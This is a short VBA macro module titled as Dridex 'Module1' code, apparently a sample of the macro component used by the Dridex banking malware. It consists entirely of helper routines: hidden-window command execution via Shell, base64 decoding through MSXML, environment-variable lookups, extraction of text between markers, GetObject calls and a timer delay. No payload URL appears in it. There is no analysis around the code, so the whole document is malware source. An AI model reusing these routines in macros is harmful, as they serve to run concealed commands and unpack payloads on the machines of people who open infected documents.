Dridex Module1 Macro Code

Attribute VB_Name = "Module1"

Sub WaitFor(NumOfSeconds As Long)
Dim SngSec As Long
SngSec = Timer + NumOfSeconds
Do While Timer < SngSec
DoEvents
Loop
End Sub
Public Function Great(a As Variant, b)
a = _
Shell(b, 0)
Great = a
End Function

Public Function Tort(a, b As String)
Dim krd, lent As Integer
krd = InStr(1, a, "<" + b + ">") + 8
lent = InStr(1, a, "<" + "/" + b + ">") - krd
KLMN = Mid(a, krd, lent)
Tort = KLMN
End Function

Public Function Dtgt(a As String)
Quick = GetObject(a)
End Function

Public Function Quick(a As String)
Quick = GetObject(a)
End Function

Public Function Bad(a As String)
Bad = _
Environ(a)
End Function


Public Function Decode(ByVal strData As String) As String
    Dim objXML As Object
    Dim objNode As Object
    Set objXML = CreateObject("MSXML2.DOMDocument")
    Set objNode = objXML.createElement("b64")
    objNode.DataType = "bin.base64"
    objNode.Text = strData
    Decode = objNode.nodeTypedValue
    Set objNode = Nothing
    Set objXML = Nothing
End Function